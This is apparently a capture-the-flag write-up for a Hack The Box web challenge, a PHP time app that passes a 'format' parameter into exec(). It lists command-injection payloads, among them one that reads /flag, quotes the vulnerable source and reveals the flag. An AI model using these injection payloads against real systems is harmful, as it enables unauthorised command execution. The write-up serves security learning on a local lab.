Rating:
TBD
First things first; download the source and run the local docker instance for easy/fast debugging.
It's also a good idea to check the site functionality before reviewing the source code so that things fall into place more easily.
The site displays the time (http://127.0.0.1:1337/?format=%H:%M:%S
) or date (http://127.0.0.1:1337/?format=%Y-%m-%d
).
Opting for the lazy route, I check the burp scanner and find some interesting results. The first is XSS (reflected), presumably not much use as there was no admin bot to submit a URL to. The second is command injection!
Here's the URL-decoded PoC from burp:
/?format=%H:%M:%S|echo kefbjki4ag d6tyxfigki||a #' |echo kefbjki4ag d6tyxfigki||a #|" |echo kefbjki4ag d6tyxfigki||a #
The result indicates that the echo kefbjki4ag d6tyxfigki
command did indeed execute.
</span> kefbjki4ag d6tyxfigki<span class='text-muted'>.</span>
The payload syntax/length is a little confusing so I keep removing elements and re-testing to ensure the command still executes. The attack can be simplified to:
/?format=%H:%M:%S' |ls #
If we URL-encode it it lists the views
directory. If we look around for a while we might not see the flag. Let's just check the source code and see the Dockerfile has the following line.
# Copy flag
COPY flag /flag
Therefore, we can print the flag with this payload to retrieve the flag.
/?format=%H:%M:%S' |cat /flag #
We've already solved the challenge but why not review the vulnerable source code. Notice TimeController.php
processes our vulnerable GET parameter (format
).
<?php
class TimeController
{
public function index($router)
{
$format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
$time = new TimeModel($format);
return $router->view('index', ['time' => $time->getTime()]);
}
}
It passes our user input (bad) to the TimeModel.php
constructor which then executes the command.
<?php
class TimeModel
{
public function __construct($format)
{
$this->command = "date '+" . $format . "' 2>&1";
}
public function getTime()
{
$time = exec($this->command);
$res = isset($time) ? $time : '?';
return $res;
}
}
So, assuming we submit format=%H:%M:%S' |cat /flag #
, the command
property of the object will be:
date '%H:%M:%S'' |cat /flag # 2>&1
Due to us closing off the string and inserting a pipe character, we were able to inject a malicious command! Crucially, we also needed to add a hash character afterwards, to prevent the output from being redirected.
Flag: HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}